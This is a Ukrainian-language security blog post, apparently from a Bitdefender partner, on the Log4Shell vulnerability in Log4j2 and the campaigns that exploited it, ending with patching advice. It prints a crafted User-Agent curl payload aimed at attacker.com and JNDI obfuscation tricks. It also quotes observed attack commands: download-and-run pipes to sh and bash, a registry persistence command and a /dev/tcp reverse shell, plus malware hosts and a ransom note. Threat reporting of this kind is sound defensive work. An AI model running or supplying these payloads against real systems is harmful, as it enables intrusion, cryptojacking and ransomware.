RU

Блог

Виявлено вразливість Zero-day у Log4j2

Компанія Apache розкрила CVE-2021-44228, вразливість з можливістю віддаленого запуску коду - їй надано ступінь серйозності 10 (найвища оцінка ризику). Вихідним кодом уразливості є Log4j, бібліотека логування, використовувана широким колом додатків, зокрема версіями до 2.14.1 (ця вразливість також відома як Log4Shell).

Log4j - це бібліотека з відкритим вихідним кодом, частина Apache Logging Services, написана мовою Java. Початковий випуск Java Development Kit (JDK) не включав API логування, тому бібліотеки логування Java швидко стали популярними, включаючи Log4j. Бібліотека Log4j широко використовується іншими фреймворками, такими як Elasticsearch, Kafka та Flink, які є основою для багатьох популярних веб-сайтів та сервісів.

Java є кросплатформним фреймворком, і ця вразливість не обмежується програмами, які працюють на конкретній операційній системі. Всі програми, що використовують цей фреймворк, що працюють на таких операційних системах, як Windows, Linux, macOS і FreeBSD, піддаються вразливості. На Java працюють веб-камери, автомобільні навігаційні системи, DVD-плеєри та телевізійні приставки, різні термінали і навіть лічильники паркування, і медичні пристрої.

Опис вразливості

Бібліотеки логування вважаються пасивними, оскільки вони просто записують оповіщення у файл журналу або бази даних. Однак часто перед збереженням рядка в файл журналу виконується обробка - наприклад, розкриття змінних (визначених як ${variable}), таких як дата, час або ім'я користувача. За допомогою формули Log.info("${user.username} not found") можна замінити формулу ${user.username} на актуальне ім'я користувача. Це схоже на використання $() у PowerShell для розгортання та обробки рядків.

Ця інформація може бути отримана локально, наприклад актуальний час на сервері, або може бути отримана з віддаленої машини. Для віддаленого пошуку Log4j використовує інтерфейс Java Naming and Directory Interface (JNDI). JNDI надає програмісту можливість пошуку об'єктів за допомогою різних служб та протоколів, таких як LDAP, а також DNS, Java Remote Method Invocation (RMI) та інших.

Синтаксис простий ${jndi:protocol://server}. Блоки ${} можуть вкладатися та об'єднуватись, що ускладнює виявлення, оскільки існує багато методів обфускації, які можуть використовуватись. Як простий приклад, замість ${jndi:} зловмисники можуть використовувати ${${lower:jn}${lower:di}}. Це дозволяє зловмисникам вилучати інформацію з віддаленого сервера, використовуючи вразливість - наприклад, вони можуть зчитувати значення змінного середовища та включати його значення в LDAP-запит (див. нижче):

RFC 2713 визначає, як об'єкти Java можуть зберігатися у службі каталогів - і JNDI включає алгоритм виявлення, коли об'єкт каталогу містить об'єкт Java і завантажує їх у пам'ять. Продовжуючи приклад з LDAP, якщо об'єкт LDAP має атрибут ObjectClass, визначений як javaNamingReference, і має атрибути javaCodebase, javaFactory та javaClassName, завантажувач об'єктів LDAP отримає вміст URL, визначений в javaCodebase, і використовує його для створення об'єкта в пам'яті. Виконується метод ініціалізації (конструктор) цього класу – завантаження незахищеного коду із незахищеного джерела.

Для того, щоб ця загроза спрацювала, зловмиснику достатньо знайти спосіб отримати спеціально створений рядок для обробки фреймворком логування Log4j. Наприклад, веб-додаток (мета цієї вразливості) часто зберігає рядок user agent, який ідентифікує браузер, який використовується відвідувачами.

String userAgent = request.getRequestHeader("User-Agent"); log.info(userAgent);

Зловмисник може вказати кастомний рядок user-agent для з'єднання. Ця інформація зберігається у файлі журналу - і під час її обробки Log4j опиняється під загрозою.

curl http://victim.com/ -A "${ jndi:ldap://attacker.com/reference}" 

Всі версії Log4j від 2.0-beta9 до 2.14.1 уразливі. Остання версія 2.16 не порушена.

Важливо розуміти, що LDAP і рядок агента користувача це лише приклади потенційної експлуатації. Існують інші протоколи, які зловмисники можуть використовувати, щоб змусити Log4j зберігати інформацію журналу в певному форматі.

Як зловмисники використовують уразливість?

З 10 грудня фахівці компанії Bitdefender виявили різні атаки на свої точки доступу, а також реальні атаки на машини, на яких встановлено агента захисту кінцевих точок Bitdefender. Отримання доступу за допомогою експлойту та подальший криптоджекінг є основною метою загроз на цій стадії експлуатації.

Ботнет Muhstik


Ботнети націлені на сервери для встановлення бекдорів, розширення мережі ботнета та розгортання криптомайнерів. Масове розгортання є важливим для успішного функціонування цих ботнетів. Моніторинг активності ботнетів часто дозволяє передбачити, наскільки небезпечний новий RCE насправді і масштаб атак.

Фахівці Bitdefender визначили ботнет Muhstik як одну з перших атак.

Шкідливий файл класу hxxp://45.130.229[.]168: 9999/Exploit.class використовується зловмисниками для виконання команди curl hxxp://18.228.7[.]109/.log/log | sh. Потім сценарій оболонки намагається завантажити кілька файлів ELF (Executable and Linkable Format) та сценаріїв командного процесора, щоб потім активувати їх. Метою цих сценаріїв є встановлення ботнету Muhstik та розгортання криптомайнера.

Виявлено такі файли, як:

  • GenericKD.47627843
  • Gen: Variant.Trojan. Linux.Gafgyt.22
  • Linux.Zojfor.A.

Файл класу виявлено як:

  • GenericKD.47627832

Майнер XMRIG

Також було виявлено загрози, які намагалися розгорнути майнер XMRIG. Виявлення аномалій у Bitdefender EDR відбувається під час запуску нового підозрілого підпроцесу:

Цей процес виконує командний рядок cmd /C "(curl -s hxxp://158.247.218[.]44: 8000/wsnbb.sh||wget -q -O- hxxp://154.247.218[.]44: 8000/wsnbb.sh)". | bash, який завантажує файл сценарію wsnbb.sh.

Потім цей скрипт намагається розгорнути майнер XMRIG із GitHub:

Ця поведінка визначається Bitdefender EDR як:

  • NotExists.1. Process.NewSubprocessesStarted
Майнер XMRIG виявлений як:

  • Gen: Variant.Application. Linux.Miner.3 (Linux)
  • Gen: Variant.Application. Miner.2 (Windows)
  • Application.MAC.Generic.194 (macOS)
Нова версія Ransomware Khonsari

Атака Khonsari використовує вразливість Log4j застосовуючи шкідливий файл hxxp://3.145.115[.]94/Main.class для завантаження додаткового навантаження. На початку грудня фахівці Bitdefender спостерігали це навантаження у вигляді шкідливого бінарного файлу .NET, що завантажується з hxxp://3.145.115[.]94/zambo/groenhuyzen.exe. Це нова версія ransomware, названа Khonsari по розширенню, що використовується в зашифрованих файлах.

Після запуску шкідливий файл відображає список всіх дисків і шифрує їх повністю, крім диска C:\. На диску C:\ Khonsari зашифрує лише наступні папки:

  • C:\Users\<user>\Documents
  • C:\Users\<user>\Videos
  • C:\Users\<user>\Pictures
  • C:\Users\<user>\Downloads
  • C:\Users\<user>\Desktop

Файли з розширеннями .ini та .lnk виключаються. Для шифрування використається алгоритм AES 128 CBC з використанням PaddingMode.Zeros. Після шифрування до кожного файлу додається розширення. honsari.

Оповіщення з вимогою викупу записується в C:\Users\<user>\Desktop\HOW TO GET YOUR FILES BACK.TXT і відкривається за допомогою Блокноту:

Ваші файли були зашифровані та викрадені Khonsari. Якщо ви хочете розшифрувати, зателефонуйте (***) ***-1309 або напишіть електронною поштою kar***ari@gmail.com. НЕ МОДИФІКУЙТЕ ТА НЕ ВИДАЛЮЙТЕ ЦЕЙ ФАЙЛ І БУДЬ-ЯКІ ЗАШИФРОВАННІ ФАЙЛИ. ЯКЩО ВИ ЦЕ ЗРОБИТЕ, ВАШІ ФАЙЛИ МОЖУТЬ БУТИ НЕВІДНОВИМИ.

Троян для віддаленого доступу Orcus

На початку грудня фахівці Bitdefender виявили ще одну вразливість для скачування додаткового навантаження з використанням тієї ж URL-адреси hxxp://3.145.115[.]94/Main.class. Однак цього разу Main.class намагається завантажити нове додаткове навантаження з hxxp://test.verble[.]rocks/dorflersaladreviews.jar.

Файл .jar копіюється в C:\Users\<user>\AppData\Local\Adobe\fengchenteamchina.class і персистентність встановлюється за допомогою команди:

reg.exe add "hkcu\software\microsoft\windows\currentversion\run" /v "adobe telemetry agent" /t reg_sz /f /d "c:\program files (x86)\common files\oracle\java\javapath\ javaw.exe -jar c:\users\<user>\appdata\local\adobe\fengchenteamchina.class peedee".

Він завантажує shellcode з hxxp://test.verble.rocks/dorflersaladreviews.bin.encrypted та впроваджує його в пам'ять процесу conhost.exe. Тут shellcode розшифровується і завантажує на згадку інше шкідливе навантаження Orcus Remote Access Trojan (RAT), яке підключається до командно-контрольного сервера test.verble[.]rocks.

Файл класу виявлено як:

  • GenericKD.38268017.
  • Файл .jar виявлено як:
  • GenericKD.38267576
Шелл-код виявлено як:

  • Agent.FQSI
  • DonutLoader.A
Orcus RAT виявлено як:

  • Gen: Variant.MSILPerseus.207255
  • Зворотній Bash Shell

В одній з атак, розглянутих раніше, шкідливий файл класу hxxp://152.32.216.

Результатом виконання команди є створення зворотної оболонки bash.
/bin/bash -i > /dev/tcp/152.32.216[.]78/7777 0<&1 2>&1
Простота цієї атаки демонструє, як легко використовувати вразливість Log4j.

Ця поведінка була виявлена Bitdefender EDR як:

  • BashReverseShell.

Файл класу виявлено як:

  • GenericKD.47629137
Компанія Bitdefender рекомендує своїм клієнтам вжити термінових заходів та розгорнути всі існуючі виправлення та рішення для захисту. А також необхідно застосувати порядок дій:
  • Проведіть великий аудит інфраструктури та додатків, щоб виявити всі системи, в яких використовується механізм логування Apache Log4j2. Потім оновіть ці системи до версії Log4j 2.16.0 (оновлена ​​рекомендація від 14 грудня 2021 року, тому що версія 2.15, за даними Apache, схильна до атаки типу "відмова в обслуговуванні") і розгорніть рекомендовані Apache засоби захисту конфігурації.
  • Проаналізуйте ланцюжок постачання програмного забезпечення та специфікацію програмного забезпечення. Запросіть виправлення для всіх систем з відкритим кодом.
  • Активно відстежуйте інфраструктуру щодо потенційних атак. Впровадьте рішення Bitdefender EDR, зверніть увагу на ознаки TCP-шифрування та проаналізуйте всі виявлені аномалії.

На даний момент не виявлено жодних додаткових ризиків, пов'язаних із цією вразливістю для клієнтів, які використовують рішення Bitdefender.

Bitdefender рекомендує завантажити та оновити до патчу Apache Log4j 2.17.0.

Залишилися питання? Заповніть форму зворотного зв'язку та наші фахівці зв'яжуться з Вами!


CRM-форма з'явиться тут